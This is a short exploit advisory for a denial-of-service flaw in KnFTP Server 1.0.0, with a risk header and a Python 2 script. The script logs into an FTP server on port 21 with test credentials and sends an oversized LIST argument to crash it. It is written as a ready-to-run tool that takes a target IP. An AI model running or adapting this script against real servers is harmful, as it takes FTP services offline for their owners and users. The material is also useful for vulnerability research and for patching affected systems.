KnFTP Server 1.0.0 Denial Of Service

2021.07.03
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/usr/bin/python # # e-mail: fernando.mengalli@gmail.com # # Date: 06/13/2021 - 13 jun # # Version Vulnerable: KnFTP 1.0.0 Server # # OS Tested: Windows XP PACK 3 Brazilian import socket import sys if len(sys.argv) != 2: print "########################################################" print "# #" print "# KnFTP 1.0.0 Server - 'LIST' Denied of Service #" print "# #" print "# Author: Fernando Mengali #" print "# #" print "# Usage: exploit.py <IP> #" print "# #" print "########################################################" sys.exit(1) target = sys.argv[1] payload = "/x41"*500 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect = s.connect((target, 21)) print "[+] Conectado com sucesso" except: print "[-] Falha ao conectar para o servidor..." sys.exit(0) s.recv(1024) print "[+] Autenticando..." s.send('USER test\r\n') s.recv(1024) s.send('PASS test\r\n') s.recv(1024) s.send('LIST '+payload+'\r\n') print "[+] Enviando pacote crafted..." s.close()


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